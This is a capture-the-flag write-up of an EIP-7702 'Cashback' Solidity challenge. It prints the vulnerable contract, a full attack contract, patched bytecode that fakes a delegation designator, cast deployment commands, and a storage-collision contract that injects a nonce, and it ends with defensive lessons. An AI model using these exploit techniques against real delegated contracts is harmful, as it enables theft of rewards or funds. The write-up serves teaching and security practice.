While digging into the EIP-7702 nuances, I worked through the
To participate, users must delegate to the Cashback contract using EIP-7702. Only then can they call payWithCashback and start earning points. The system appears to enforce strict access controls, and its modifiers suggest a clear security model.
In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges.
The challenge
You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge.
The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the
payWithCashbackfunction.Rumor has it there’s a back door for power users. Your brief is simple: become the loyalty program’s nightmare. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, one of which must correspond to your player address.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol";
/*//////////////////////////////////////////////////////////////
CURRENCY LIBRARY
//////////////////////////////////////////////////////////////*/
type Currency is address;
using {equals as ==} for Currency global;
using CurrencyLibrary for Currency global;
function equals(Currency currency, Currency other) pure returns (bool) {
return Currency.unwrap(currency) == Currency.unwrap(other);
}
library CurrencyLibrary {
error NativeTransferFailed();
error ERC20IsNotAContract();
error ERC20TransferFailed();
Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function isNative(Currency currency) internal pure returns (bool) {
return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY);
}
function transfer(Currency currency, address to, uint256 amount) internal {
if (currency.isNative()) {
(bool success,) = to.call{value: amount}("");
require(success, NativeTransferFailed());
} else {
(bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount)));
require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract());
require(success, ERC20TransferFailed());
require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed());
}
}
function toId(Currency currency) internal pure returns (uint256) {
return uint160(Currency.unwrap(currency));
}
}
/*//////////////////////////////////////////////////////////////
CASHBACK CONTRACT
//////////////////////////////////////////////////////////////*/
/// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff))
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {
using TransientSlot for *;
error CashbackNotCashback();
error CashbackIsCashback();
error CashbackNotAllowedInCashback();
error CashbackOnlyAllowedInCashback();
error CashbackNotDelegatedToCashback();
error CashbackNotEOA();
error CashbackNotUnlocked();
error CashbackSuperCashbackNFTMintFailed();
bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked");
uint256 internal constant BASIS_POINTS = 10000;
uint256 internal constant SUPERCASHBACK_NONCE = 10000;
Cashback internal immutable CASHBACK_ACCOUNT = this;
address public immutable superCashbackNFT;
uint256 public nonce;
mapping(Currency => uint256 Rate) public cashbackRates;
mapping(Currency => uint256 MaxCashback) public maxCashback;
modifier onlyCashback() {
require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback());
_;
}
modifier onlyNotCashback() {
require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback());
_;
}
modifier notOnCashback() {
require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback());
_;
}
modifier onlyOnCashback() {
require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback());
_;
}
modifier onlyDelegatedToCashback() {
bytes memory code = msg.sender.code;
address payable delegate;
assembly {
delegate := mload(add(code, 0x17))
}
require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
_;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, CashbackNotEOA());
_;
}
modifier unlock() {
UNLOCKED_TRANSIENT.asBoolean().tstore(true);
_;
UNLOCKED_TRANSIENT.asBoolean().tstore(false);
}
modifier onlyUnlocked() {
require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked());
_;
}
receive() external payable onlyNotCashback {}
constructor(
address[] memory cashbackCurrencies,
uint256[] memory currenciesCashbackRates,
uint256[] memory currenciesMaxCashback,
address _superCashbackNFT
) ERC1155("") {
uint256 len = cashbackCurrencies.length;
for (uint256 i = 0; i < len; i++) {
cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i];
maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i];
}
superCashbackNFT = _superCashbackNFT;
}
// Implementation Functions
function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{
uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce();
uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS;
if (cashback != 0) {
uint256 _maxCashback = maxCashback[currency];
if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) {
cashback = _maxCashback - balanceOf(msg.sender, currency.toId());
}
uint256[] memory ids = new uint256[](1);
ids[0] = currency.toId();
uint256[] memory values = new uint256[](1);
values[0] = cashback;
_update(address(0), msg.sender, ids, values);
}
if (SUPERCASHBACK_NONCE == newNonce) {
(bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender));
require(success, CashbackSuperCashbackNFTMintFailed());
}
}
// Smart Account Functions
function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback {
currency.transfer(receiver, amount);
CASHBACK_ACCOUNT.accrueCashback(currency, amount);
}
function consumeNonce() external onlyCashback notOnCashback returns (uint256) {
return ++nonce;
}
function isUnlocked() public view returns (bool) {
return UNLOCKED_TRANSIENT.asBoolean().tload();
}
}
The Intended Security Model
The Cashback contract uses modifiers to control who calls and where code executes:
Caller identity checks:
onlyEOA(): Ensures the caller is an EOA, not a contract (msg.sender == tx.origin).onlyCashback(): Ensures the caller is the Cashback contract itself.onlyNotCashback(): Ensures the caller is NOT the Cashback contract.
Execution context checks:
onlyOnCashback(): Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract.notOnCashback(): Ensures code is NOT executing at the Cashback contract address. This means the function must run through adelegatecall, not directly on the contract.
In essence, the system should work like this:
- A delegated EOA calls
payWithCashbackon itself. This works because the call happensnotOnCashbackand passesonlyEOA. - The
payWithCashbackfunction callsCashback.accrueCashbackdirectly on the Cashback instance. It has three modifiers:onlyDelegatedToCashbackpasses because the caller delegated to Cashback,onlyOnCashbackpasses because the call happens on Cashback directly. TheonlyUnlockedmodifier relates to step 3. - The
onlyUnlockedmodifier callsisUnlockedonmsg.sender. SincepayWithCashbackunlocked it, this check passes. - During execution,
accrueCashbackcallsconsumeNonceonmsg.sender. This function has two modifiers:onlyCashbackpasses because it's called by the Cashback instance, andnotOnCashbackpasses because this function runs in the EOA's context. - Finally,
consumeNonceincrements the nonce in the EOA's storage.
Finding Constants
Before we can attack, we need to identify the challenge's key parameters and addresses.
Supported Currencies
The Cashback contract supports two currencies. While not explicitly defined in the challenge description, we can find them:
- The native currency at
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE - Freedom Coin (
FREE) at0x13AaF3218Facf57CfBf5925E15433307b59BCC37
You can verify this by taking the level address and checking its code, and by calling the FREE() function.
Super Cashback NFT
You can find its address by calling superCashbackNFT on your Cashback instance.
Maximum Cashback and Cashback Rates
To calculate the required spending for maximum cashback, we need two parameters. Find them by calling maxCashback and cashbackRates on your instance. The contract uses BASIS_POINTS = 10000 for percentage calculations:
uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS;
For example, Freedom Coin has a max cashback of 500e18 and a rate of 200 (i.e. 2%). To calculate the required spend:
amount = maxCashback * BASIS_POINTS / rate
amount = 500e18 * 10000 / 200 = 25000e18
That's 25,000 FREE tokens.
Nonce
Starts at 0. The contract mints a Super Cashback NFT when your nonce reaches SUPERCASHBACK_NONCE, which is hardcoded to 10,000.
Attack
Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit.
Looking at the architecture, we notice we can call accrueCashback directly. Although its modifiers are designed to restrict access to internal calls through payWithCashback, the function itself is external — so we can call it directly if we bypass the guards:
onlyOnCashbackWe can bypass it by calling the Cashback instance directly.onlyUnlockedSince this modifier calls isUnlocked onmsg.sender, we can bypass it by calling from a contract with an isUnlocked function that always returns true.onlyDelegatedToCashbackThis one's tricky. Let's examine it closely:
modifier onlyDelegatedToCashback() {
bytes memory code = msg.sender.code;
address payable delegate;
assembly {
delegate := mload(add(code, 0x17))
}
require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
_;
}
The onlyDelegatedToCashback modifier attempts to verify that the caller has delegated to the Cashback contract by reading the delegation address from the account's bytecode. With EIP-7702, delegated accounts have special bytecode: 0xef0100 followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address.
To bypassonlyDelegatedToCashback, we need our attack contract's bytecode to look like a valid delegation designator — specifically, the Cashback address must appear at bytes 4–23. The bytecode structure:
0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>.
We'll handle this manually later. First, let's create the attack contract.
Preparing the Attack Contract
As discussed, our contract will be called back by the Cashback instance twice: to check if it's unlocked and to consume the nonce. We need to ensure it's always unlocked and consumeNonce return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second accrueCashback call would revert. So we'll return a 10,000 nonce only once.
We'll set the currencies and the Cashback address as constants. Since we're calling accrueCashback directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback.
Finally, we'll transfer all cashback and the NFT to our player's address.
Here's the complete contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {Currency, Cashback} from "./Cashback.sol";
contract AccrueCashbackAttack {
Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37);
Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8));
bool nftMinted;
function attack(address player) external {
uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY);
uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN);
// Calculate amounts required to reach max cashback for each currency
uint256 BASIS_POINTS = 10000; // Basis points from Cashback
uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY);
uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN);
// Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract
CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount);
CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount);
// Transfer cashback tokens from attack contract to player
CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, "");
CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, "");
// Transfer the SuperCashback NFT (minted with the attack contract's address as ID)
IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT());
superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this))));
}
function isUnlocked() public pure returns (bool) {
return true;
}
function consumeNonce() external returns (uint256) {
// We can mint only one NFT, because they are minted with id of the contract
if (nftMinted) {
return 0;
}
nftMinted = true;
return 10_000;
}
}
Adjusting Bytecode to Bypass the Delegation Check
Now comes the tricky part. We need to modify the AccrueCashbackAttack bytecode to pass the onlyDelegatedToCashbackmodifier. First, compile your contracts.
If you're using Hardhat, the bytecode will be in artifacts/contracts/Attack.sol/AccrueCashbackAttack.json. There are two properties:
bytecodeis the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain.deployedBytecodeis the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify.
We'll place our Cashback instance address at offset 0x03, exactly where onlyDelegatedToCashback looks for it. The deployedBytecode follows after:
0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE>
Jumping Over the Embedded Address
To skip the 20-byte address during normal execution, we'll use these opcodes:
PUSH1to specify the jump destinationJUMPto perform the jumpJUMPDESTto mark the destination (required to avoid revert)
This way, only the onlyDelegatedToCashback modifier reads the <CASHBACK_ADDRESS>.
But what offset should we jump to?
Offset | Bytes | Instructions |
--------------------------------------------|
[00] | 60 ?? | PUSH ?? |
[02] | 56 | JUMP |
[03] | <CASHBACK_ADDRESS> | |
[17] | ??? | ??? |
The obvious yet incorrect assumption is 0x17, right after <CASHBACK_ADDRESS>. In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why.
My instance is at 0xf991E138bA49e25a7DA1a11A726077c77c6241A8. So my contract could start like this:
Cashback address
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B
↑↑↑↑↑↑ ↑↑
PUSH + JUMP JUMPDEST
Offset | Bytes | Instructions |
--------------------------------------------|
[00] | 60 17 | PUSH 0x17 |
[02] | 56 | JUMP |
[03] | f991E138...c6241A8 | <Instance> |
[17]? | 5B | JUMPDEST |
However, let's see how this bytecode disassembles:
Problem! The byte 0x7D in our instance address is the PUSH30 opcode. When the EVM encounters PUSH30, it consumes the following 30 bytes as literal arguments, not as instructions. My JUMPDEST (5B) is positioned at offset 0x17, but it gets consumed as data for PUSH30 instead of being executed as an instruction. This corrupts the bytecode stream, causing an EVM error: InvalidJump when execution reaches that location.
Let's fix this. We'll add padding to push our JUMPDEST outside the 30 bytes consumed by PUSH30:
Perfect! The JUMPDEST appears at 2a. Let's update our PUSH1instruction. My final version:
0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode>
Offset | Bytes | Instructions |
--------------------------------------------|
[00] | 60 2a | PUSH 0x2a |
[02] | 56 | JUMP |
[03] | f991E138...c6241A8 | <Instance> |
[2a] | 5B | JUMPDEST |
This prefix totals 43 bytes: PUSH1 (2) + JUMP (1) + address (20) + padding (19) + JUMPDEST (1).
Adjusting Jump Offsets
Now we can add our deployedBytecode. But since we increased the contract size by 43 bytes, we need to adjust all JUMP and JUMPI offsets by this amount.
For demonstration, let's see how to do this manually. Go to https://www.evm.codes/playground, choose Bytecode, and paste your deployedBytecode. On the right, you'll see the opcodes list. Find the first JUMPDEST at [0f]. Find all PUSH2 opcodes used by JUMP and JUMPI with values matching this JUMPDEST and increase their values by 43.
This method isn't perfect—we might accidentally modify PUSH2 values that aren't jump destinations. However, false positives should be rare enough for this challenge.
Why PUSH2?
Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them.
The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2.
Doing this manually would be overwhelming, so I created a script that:
-
Finds all
JUMPDESTopcodes and stores their initial and adjusted offsets -
Finds all
PUSH2opcodes with values matching initialJUMPDESToffsets and updates them to adjusted values
You can find the script to automate this process in the
Never blindly download and execute random code, including this one!
Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code.
Creation Bytecode
To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The bytecode value in artifacts contains it at the beginning. Here's mine: 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe. Disassembling it shows:
[10] PUSH2 0c46
This 0c46 is the initial code length—3142 bytes.
We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's0C71 (3185 bytes). The final creation code:
0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe
↑↑↑↑
Final Bytecode Assembly
The final bytecode is simply the creation code concatenated with the adjusted deployedBytecode.
Execute Attack
Let's deploy our bytecode using cast from Foundry:
PRIVATE_KEY=0x{set-your-ethernaut-player-private-key}
SEPOLIA_URL=https://{use-alchemy-or-infura}
BYTECODE=0x{the-final-bytecode}
YOUR_PLAYER_ADDRESS=0x{your-player-address}
cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE
Execute the attack:
cast send $ATTACK_CONTRACT_ADDRESS \
"attack(address)" \
$YOUR_PLAYER_ADDRESS \
--rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY
Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers.
At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID.
Exploiting Storage Collision for the Second NFT
We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute payWithCashback as intended—by delegating your EOA to the Cashback contract. However, we can't fake the consumeNonce function, so we need to increase our nonce some other way.
EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint.
Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions.
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {
// ... constants and immutables
uint256 public nonce;
}
The nonce is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, ERC1155 from OpenZeppelin takes 3 slots before nonce, so the actual slot is at 0x442a9...ba03. Knowing this, let's inject a large nonce into our EOA storage.
Here's the nonce manipulation contract I deployed to Sepolia:
contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 {
uint256 public injectedNonce;
// The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT
function injectNonce() external {
injectedNonce = 9999;
}
}
The next step is to delegate our EOA toNonceAttack. Foundry's cast supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address.
cast send 0x0000000000000000000000000000000000000000 \
--private-key $PRIVATE_KEY \
--rpc-url $SEPOLIA_URL \
--auth <NONCE_ATTACK_ADDRESS>
Now we can set the nonce using injectNonce(). Remember, we call this function on ourselves, not on the NonceAttack instance:
cast send $YOUR_PLAYER_ADDRESS \
"injectNonce()" \
--rpc-url $SEPOLIA_URL \
--private-key $PRIVATE_KEY
Final Attack Step
With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID.
- Re-delegate your account to the Cashback instance. Follow the same steps as with
NonceAttack:
cast send 0x0000000000000000000000000000000000000000 \
--private-key $PRIVATE_KEY \
--rpc-url $SEPOLIA_URL \
--auth <CASHBACK_ADDRESS>
- The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999:
cast call $YOUR_PLAYER_ADDRESS \
"nonce()" \
--private-key $PRIVATE_KEY \
--rpc-url $SEPOLIA_URL
- Execute the final step by calling
payWithCashbackon yourself:
cast send $YOUR_PLAYER_ADDRESS \
"payWithCashback(address,address,uint256)" \
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \
0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \
1 \
--private-key $PRIVATE_KEY \
--rpc-url $SEPOLIA_URL
You now own 2 NFTs and maximum cashback. Submit the level!
And before we go, don't forget to remove the delegation.
cast send 0x0000000000000000000000000000000000000000 \
--private-key $PRIVATE_KEY \
--rpc-url $SEPOLIA_URL \
--auth 0x0000000000000000000000000000000000000000
What We've Learned
1. Validate delegation the right way.
Always check the 0xef0100 prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts.
2. Never store protocol-critical state inside an EOA.
An EOA owner can delegate to any contract, and that contract can freely write to the same storage slots — including ones you might assume are private. All security-critical state must live in your protocol's storage.